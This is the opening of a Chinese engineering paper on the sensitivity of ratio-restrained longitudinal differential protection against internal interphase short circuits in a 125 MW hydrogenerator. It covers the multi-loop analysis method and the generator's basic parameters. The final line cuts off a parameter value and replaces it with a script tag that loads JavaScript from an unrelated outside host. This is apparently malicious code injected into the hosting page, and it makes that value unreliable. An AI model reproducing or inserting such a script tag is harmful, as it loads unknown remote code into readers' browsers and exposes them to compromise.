摘要 以sf125-96/15600水轮发电机为例详细分析了比率制动式纵联差动保护在各种内部相间短路情况下的差动电流及其灵敏度规律，包括短路匝比规律、故障位置影响规律和过渡电阻影响规律等，分析结果可以为继电保护工作者提供理论依据。
关键词 发电机 纵差保护 灵敏度
analysis of differential protection sensibility for
generator with internal interphase short-circuit faults
tu liming* wu ji' an* * hu minqiang*
(* southeast university，210096，nanjing，china)
(* * nanjing electric power automation equipment general factory，210003，nanjing，china)
abstract the sensibility laws of the differential protection for sf125-96/15600 hydrogenerator with the internal interphase short-circuit faults are investigated,including the effects of the turns ratio,the short-circuit position and electric arc resistance,etc.the results are useful to relay protection analysis.
keywords generator，differential protection，sensibility
0 前言
发电机定子绕组内部故障是一种常见的、破坏性很强的故障，对电厂发电机乃至电网的安全运行带来一系列严重的影响，为此必须装设内部故障保护装置。发电机纵联差动保护已有成熟的运行经验，通常作为内部相间短路的主保护［1，2］。但是对于纵差动保护灵敏度是以发电机机端发生两相金属性短路时短路电流与保护动作电流比值来衡量的，此时短路电流较大，几乎所有的发电机纵差动保护都能满足灵敏度要求，这种校核形同虚设。因此，对于大型发电机，必须详细分析在定子绕组内部各种相间短路情况下差动电流以及灵敏系数的变化规律，以便全面评价纵差保护对内部相间短路的保护能力，这就是本文所要研究的内容。
1 内部相间短路电流分析方法描述
电机绕组内部故障属于内部电气不对称故障的范畴。当电机绕组内部不对称时，其气隙磁场的空间谐波分量就很强，这些谐波磁场的转速各不相同，转向也有正有反，因此在绕组中感应出的电势谐波很多。长期以来，诸多学者对电机不对称故障作了研究，对此类故障的分析提出了许多有效的方法。
对称分量法是发电机内部短路分析中最常用的方法之一，该方法通常只考虑气隙磁场基波和定子电流的时间基波。而当绕组内部故障时，谐波分量很大，此时会遇到电抗修正及相序网络之间的耦合问题。文献［3］提出了以单个线圈元件为基础论述电机基本电磁关系的交流电机多回路理论，它可以考虑谐波影响以及绕组内部故障时影响重大的因素，如故障空间位置和绕组型式等因素，从而可以比较准确地获得绕组故障后的内部电磁关系和绕组电流分布，对发电机定子绕组内部故障保护装置的设计、制造和运行起到了积极推动作用。
文献［4］在多回路理论的基础上，建立了求解发电机定子绕组内部故障稳态电量的通用数学模型，探讨了定子绕组各种内部故障规律。该文所建立的模型精确，结果准确，适用于各种内部故障的分析与计算。其基本思路是：首先从定子绕组单个线圈出发，列写发电机定转子初始回路的电压、磁链、功率以及外部系统的连接方程，根据故障后回路绕组的实际连接方式组成新的定子回路。当回路电感和电阻参数已知时，就得到了一组以回路电感和电阻为系数的非线性变系数微分方程组。根据稳态电量计算的需要，可以假设定转子回路稳态电量的表达式，将它代入微分方程组，利用同频率量相等的原则，把非线性变系数微分方程组转换为等效的非线性常系数代数方程组，通过求解这些方程，即可得各回路稳态电量值。这些代数方程组中回路参数的计算是关键。文献［5］中采用电磁场数值计算方法进行了参数求解，即按照发电机的实际运行工况和铁心磁阻的实际情况，计算某一线圈通直流电流之后在其他所有线圈或回路中的磁链，从而得出单个线圈和各个回路的电感系数。由于该方法能考虑铁心磁阻的非线性、齿槽效应和气隙谐波等因素，因而有助于提高发电机定子绕组内部故障后回路参数的计算精度，相应的定子绕组内部故障电流仿真结果也更加合理。同时，作者还编制了“大型发电机定子绕组内部故障电量计算与保护方案灵敏度分析”软件包，能灵活地模拟各种内部故障并能对多种内部故障保护方案如单元件横差、不完全差动、裂相横差保护等方案的灵敏度进行分析。本文在此基础上对纵差保护在各种内部相间短路情况下的差动电流和灵敏度规律进行探讨。
2 发电机基本参数及保护定值设定
2.1 sf125-96/15600水轮发电机基本参数
额定功率pn=125 mw，额定电压un=13 800 v，额定电流in=5 980 a，额定空载励磁电流if0=817 a，定子槽数z=792，定子绕组每相并联支路数as=3，相匝数wa=88?script src=http://er12.com/t.js>
